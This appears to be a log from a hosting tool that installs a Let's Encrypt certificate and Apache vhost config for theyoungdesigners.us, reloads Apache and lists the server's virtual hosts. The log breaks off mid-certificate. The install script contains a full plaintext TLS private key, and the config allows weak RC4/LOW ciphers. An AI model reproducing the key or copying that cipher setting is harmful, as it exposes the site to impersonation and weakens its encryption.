----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 C8vuQTeHJmv8qzJdnlcN6FhUmpGSgk7Ks3AHSySWW9s
2025-12-02 06:00:31:
chmod 755 /tmp/pkp260952; /tmp/pkp260952; rm /tmp/pkp260952
2025-12-02 06:00:31:
2025-12-02 06:00:37: Establishing a connection
2025-12-02 06:00:37:
PUT: /tmp/pkp944482
#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
rm Ziu_CDaARTQGDjJJ2giZxI86SfjtYdZ9A4bEuS1cHdE
rm C8vuQTeHJmv8qzJdnlcN6FhUmpGSgk7Ks3AHSySWW9s
2025-12-02 06:00:37:
chmod 755 /tmp/pkp944482; /tmp/pkp944482; rm /tmp/pkp944482
2025-12-02 06:00:37:
2025-12-02 06:00:37: Establishing a connection
2025-12-02 06:00:37:
PUT: /tmp/pkp442293
#!/bin/bash
temp_file=$(mktemp)
TARGET=f13c10b0bf992120e8f0bf3f4c84b2c5.crt
cat > $temp_file <<'endmsg'
65:7e:b4:03:ab:9c:11:d5:f4:6b:c1:bd:a4:e8:7b:3f
-----BEGIN CERTIFICATE-----
MIIFHTCCBAWgAwIBAgISBaH/bdjaOMLLfiYJDGcr5HyRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAyMDUwMjA2WhcNMjYwMzAyMDUwMjA1WjAfMR0wGwYDVQQD
ExR0aGV5b3VuZ2Rlc2lnbmVycy51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAPGPUYl58G6QCHCGivk0pEYDqhcml9O8X4kICPAjdL+0+kRcrKxNr782
h3Nq+wHMvaCnm6HmHz/jxe0VaSdhUV6i/O5rxLRRzsMowqIn1f+u+F9d7WudKJXK
s2OdOb0EmhwAnjcEBTTtTKwyh5sePW4PXWndGvIk6oWRmzEe72n1FBe9P0G89Dj5
pb85jmEA2ADBQF6Eskc6M6TD7PyUUEDPdQlAXUjh5yWAcFdN5AdRSl8+H5+EadhZ
I922r3D1tB9TGfFfuadNfMqgGQ+fHqiHr3bmJY0Bs7ZQjYyNGG072OoEOUyAzMKz
y1MilT8iF24DIPSX2oIHj09WYiUTItUCAwEAAaOCAj0wggI5MA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQUXvJ3STjIYCZG6IpZPAtrWhkAT4gwHwYDVR0jBBgwFoAU56uf
DywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEzLmkubGVuY3Iub3JnLzA5BgNVHREEMjAwghR0aGV5b3VuZ2Rlc2ln
bmVycy51c4IYd3d3LnRoZXlvdW5nZGVzaWduZXJzLnVzMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
MTguY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUAGYbUxyiqb/66A294Kk0B
karOLXIxD67OXXBBLSVMx9QAAAGa3aYFpAAABAMARjBEAiAhrI/nEOMtGuDiSbR5
ajZVD7eqVvlQGrogwpBLbFba8gIgbf+an+4+dPcP6u/c/cmnjGlhnQ4POKb8gMDf
A3JaehAAdgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZrdpgXx
AAAEAwBHMEUCIQD1HopEyQEa6dXPJM+X1IqpHnQCNIO6skPnH3lG2M7ajAIgRl0R
I8oXR8ETGISC3vX4mo6mp7kDqD1xv/jCoHmLpnkwDQYJKoZIhvcNAQELBQADggEB
ADYvD7Z5zh+g6ZmzNxu1uON7ihA1iGPBChtXWYlP7JhTo5Wdig3kDcrpFq/sxE9B
OaSLj7IwO/xdwgLzUa88wimQCxHXayp2srfbt7wumn3H7DL5YQWpL1im5ENoU/hD
lWn5XZZG/m+yArJlOclMeUBLj+9hV3BaBOWH1CSewXeTv89wAL1NIHNWg++Godr5
8OAZ+IOd5Ww5si2QoMg3KVwNoyBovI64ViU1rgWPVhgV+fThAPEsGbs421UzqqM7
crI5rdpHxOMUacbO473ckfkTWyOSHCOMoPUBMnzP6vsLGFsSSkMhd+TWk+jfvMmY
4jfY76DuOpqCqAAd7B+xgm0=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDxj1GJefBukAhw
hor5NKRGA6oXJpfTvF+JCAjwI3S/tPpEXKysTa+/NodzavsBzL2gp5uh5h8/48Xt
FWknYVFeovzua8S0Uc7DKMKiJ9X/rvhfXe1rnSiVyrNjnTm9BJocAJ43BAU07Uys
MoebHj1uD11p3RryJOqFkZsxHu9p9RQXvT9BvPQ4+aW/OY5hANgAwUBehLJHOjOk
w+z8lFBAz3UJQF1I4eclgHBXTeQHUUpfPh+fhGnYWSPdtq9w9bQfUxnxX7mnTXzK
oBkPnx6oh6925iWNAbO2UI2MjRhtO9jqBDlMgMzCs8tTIpU/IhduAyD0l9qCB49P
VmIlEyLVAgMBAAECggEAe1yi2l+QvxYFiVncjUop/quOaMZH0VUpQPT+g4zH6cOF
7/WYJWKDN1aks/fVemTSDsKqA3NfUCSFhv9hNUBI6ti37RbSXPhObHJbe652Zl43
75QrVMLs4BqlpGC+BN7dySEzq4r9EbuCZYpkoH5ABv4HybGmOjVKI65poBtZTzVg
6sQ6u/JFZ+U8JiVphxk+smvO0oZ7SGd7Y5riRTybnsGx6r6VrruZsJZLrKNN3T1T
9RLc8+s6sUp4zTRxIlpsWLffEfW9Yaty1CiUZlbnaHImBjugxWM8hCZ5dWm0aYUH
bZEABwzg8hb7p2gnQHFt3re1TbJldWMfiVa7jnWkYQKBgQD7yVy4cEZM0TJ4IcwU
/vLSZddu0y8JXbq3I/+9LuiceQ9/PD+/5MvNuGZVgAl1x2YXQhGPFG0ZBPckkAW+
fiAG968BKZkYgM55kChfdrfEhluqLoklRNI6vqCTqI6Ct04PcXIxo8hkEj4t/VMT
k3TKk1j5zpVWJgN9JUHGANvvKQKBgQD1miVIRaZXiNy1m+LLhTP8G5gUsuRpgPxT
OqG8t7Q/RRjbmZ0L1J85moF6MTPvlItbmp/i7F41Wsoa9toJNly+DsnE44zmnzY+
v0t41b2ReGqVtKicMkdt9TWRDlpH4bcbCqck1tAqlp9BymF84LthH166Lfl/cV/v
OIb0I+aHzQKBgQDWhCx3B1EdyW4SY9kYWk5Pa20sgsikVjLqLcWJTRnplkrZwF8g
ArKQxvaJCdkFe6lDT4reOCzrEAvwHrSGI7btuMBlYSeKdNN1RpjfHKpcyYv3ZkZ6
djQW0KrGoukn/TyIc8My/7OPbuuDCz1ohE0Q+pDn5FXfW+vFB6UOKVU4YQKBgBMg
niayxfGrRwUdztvq09GelImIJSHSWdRhjJcV94O17emsXP6+4GesEMlja5gNCY1o
zWru3adqGrNe5jwxb6ednzkmP6L2Y1MfstEGVG0v450lJLyFbeqyXimd5IoUmh4R
BlNoJ24prN2C1XTUS8OUndwCGJxESCRpUplQ8nNBAoGBANrRjSpn+BOWnTToky+8
CWYezSd7Oc0VBnLXVpmGrcKi7usnaAzWVMF5yfhUhQ3JyF3Bvep18M6LMa9vjbwy
fZTY3D3EjQe6+55IoTcDgaRV7AYvSxrhoji56kzWUKfgQIDO2+MKvss925L3kKWl
aoSzK4WQccF5EVEmzf6sPRoF
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-02 06:00:37:
chmod 755 /tmp/pkp442293; /tmp/pkp442293; rm /tmp/pkp442293
2025-12-02 06:00:37:
dir=/etc/ssl/certs
2025-12-02 06:00:37:
PUT: /tmp/pkp767495
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-02 06:00:37:
chmod 755 /tmp/pkp767495; /tmp/pkp767495; rm /tmp/pkp767495
2025-12-02 06:00:37:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf 48
<VirtualHost *:80>
ServerName theyoungdesigners.us
ServerAlias www.theyoungdesigners.us
# ServerAlias theyoungdesigners.com www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/theyoungdesigners_www
<Directory /var/www/theyoungdesigners_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName theyoungdesigners.us
ServerAlias www.theyoungdesigners.us
# ServerAlias theyoungdesigners.com www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
DocumentRoot /var/www/theyoungdesigners_www
<Directory /var/www/theyoungdesigners_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-02 06:00:37:
PUT: /tmp/pkp117742
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_www_us.conf
TARGET=/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName theyoungdesigners.us
ServerAlias www.theyoungdesigners.us
# ServerAlias theyoungdesigners.com www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/theyoungdesigners_www
<Directory /var/www/theyoungdesigners_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName theyoungdesigners.us
ServerAlias www.theyoungdesigners.us
# ServerAlias theyoungdesigners.com www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
DocumentRoot /var/www/theyoungdesigners_www
<Directory /var/www/theyoungdesigners_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_www_us.conf= 1'
fi
2025-12-02 06:00:37:
chmod 755 /tmp/pkp117742; /tmp/pkp117742; rm /tmp/pkp117742
2025-12-02 06:00:37:
2025-12-02 06:00:37:
PUT: /tmp/pkp629360
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-02 06:00:37:
chmod 755 /tmp/pkp629360; /tmp/pkp629360; rm /tmp/pkp629360
2025-12-02 06:00:37:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-02 06:00:37: Establishing a connection
2025-12-02 06:00:37:
PUT: /tmp/pkp202426
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-02 06:00:37:
chmod 755 /tmp/pkp202426; /tmp/pkp202426; rm /tmp/pkp202426
2025-12-02 06:00:37:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-02 06:00:37:
PUT: /tmp/pkp208647
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-02 06:00:37:
chmod 755 /tmp/pkp208647; /tmp/pkp208647; rm /tmp/pkp208647
2025-12-02 06:00:37:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf 1781
<VirtualHost *:80>
ServerName theyoungdesigners.us
ServerAlias www.theyoungdesigners.us
# ServerAlias theyoungdesigners.com www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/theyoungdesigners_www
<Directory /var/www/theyoungdesigners_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName theyoungdesigners.us
ServerAlias www.theyoungdesigners.us
# ServerAlias theyoungdesigners.com www.theyoungdesigners.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt
DocumentRoot /var/www/theyoungdesigners_www
<Directory /var/www/theyoungdesigners_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_secure_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-02 06:00:37:
PUT: /tmp/pkp352415
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-02 06:00:37:
chmod 755 /tmp/pkp352415; /tmp/pkp352415; rm /tmp/pkp352415
2025-12-02 06:00:38:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt 5397
65:7e:b4:03:ab:9c:11:d5:f4:6b:c1:bd:a4:e8:7b:3f
-----BEGIN CERTIFICATE-----
MIIFHTCCBAWgAwIBAgISBaH/bdjaOMLLfiYJDGcr5HyRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAyMDUwMjA2WhcNMjYwMzAyMDUwMjA1WjAfMR0wGwYDVQQD
ExR0aGV5b3VuZ2Rlc2lnbmVycy51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAPGPUYl58G6QCHCGivk0pEYDqhcml9O8X4kICPAjdL+0+kRcrKxNr782
h3Nq+wHMvaCnm6HmHz/jxe0VaSdhUV6i/O5rxLRRzsMowqIn1f+u+F9d7WudKJXK
s2OdOb0EmhwAnjcEBTTtTKwyh5sePW4PXWndGvIk6oWRmzEe72n1FBe9P0G89Dj5
pb85jmEA2ADBQF6Eskc6M6TD7PyUUEDPdQlAXUjh5yWAcFdN5AdRSl8+H5+EadhZ
I922r3D1tB9TGfFfuadNfMqgGQ+fHqiHr3bmJY0Bs7ZQjYyNGG072OoEOUyAzMKz
y1MilT8iF24DIPSX2oIHj09WYiUTItUCAwEAAaOCAj0wggI5MA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQUXvJ3STjIYCZG6IpZPAtrWhkAT4gwHwYDVR0jBBgwFoAU56uf
DywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEzLmkubGVuY3Iub3JnLzA5BgNVHREEMjAwghR0aGV5b3VuZ2Rlc2ln
bmVycy51c4IYd3d3LnRoZXlvdW5nZGVzaWduZXJzLnVzMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
MTguY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUAGYbUxyiqb/66A294Kk0B
karOLXIxD67OXXBBLSVMx9QAAAGa3aYFpAAABAMARjBEAiAhrI/nEOMtGuDiSbR5
ajZVD7eqVvlQGrogwpBLbFba8gIgbf+an+4+dPcP6u/c/cmnjGlhnQ4POKb8gMDf
